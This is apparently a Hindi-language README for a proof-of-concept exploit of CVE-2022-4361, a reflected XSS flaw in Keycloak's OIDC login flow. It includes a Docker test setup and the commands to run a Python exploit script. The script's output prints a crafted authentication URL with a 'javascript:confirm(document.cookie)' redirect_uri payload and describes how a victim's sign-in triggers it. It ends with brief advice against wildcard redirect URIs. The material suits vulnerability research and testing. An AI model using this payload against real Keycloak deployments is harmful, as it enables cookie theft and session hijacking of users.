
CVE-2022-4361 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Keycloak के OIDC प्रमाणीकरण प्रवाह में प्रतिबिंबित XSS कमजोरी, डॉकर-आधारित परीक्षण वातावरण और Python शोषण स्क्रिप्ट के साथ।
इस रिपॉजिटरी में CVE-2022-4361 के लिए एक PoC शामिल है।
सभी श्रेय खोज के मूल लेखक mulliken को जाता है;
महत्वपूर्ण: यह PoC पूर्ण नहीं है क्योंकि यह SAML प्रमाणीकरण प्रोटोकॉल पर AssertionConsumerServiceURL मान के मामले को कवर नहीं करता है। वर्तमान में, केवल OIDC मामला ही कवर किया गया है।
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
बुनियादी ढांचे के उपलब्ध और सुलभ होने तक प्रतीक्षा करें।
चूंकि इस PoC में Keycloak किसी भी वेब एप्लिकेशन के साथ एकीकृत नहीं है, इसलिए पूर्ण Keycloak प्रमाणीकरण URL निर्दिष्ट करना आवश्यक है (एक बार परीक्षण रियल्म सही ढंग से सेट हो जाने पर)।
इस परीक्षण वातावरण पर भेद्यता का परीक्षण निम्नलिखित URL से किया जा सकता है।
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
नीचे दिए गए स्क्रीनशॉट में देखा जा सकता है कि एक ब्राउज़र विंडो दुर्भावनापूर्ण लॉगिन पेज के साथ खुलेगी।

जब कोई पीड़ित वैध क्रेडेंशियल्स (keycloak-config/test-realm.json में उपलब्ध) प्रदान करता है और Sign In बटन पर क्लिक करता है, तो reflected-XSS हमला डिलीवर हो जाएगा।
यह ध्यान देने योग्य है कि हमला तब भी सफल होता है जब पीड़ित पहले से ही एप्लिकेशन में लॉग इन कर चुका हो।

redirect_uri के लिए वाइल्डकार्ड * मान कभी सेट न करें।वर्तमान में, यह PoC केवल OIDC प्रमाणीकरण प्रवाह का उपयोग करके कॉन्फ़िगर किए गए Keycloak के मामले को कवर करता है।
अगले डिप्लॉयमेंट में, SAML प्रमाणीकरण प्रोटोकॉल शामिल किया जाएगा।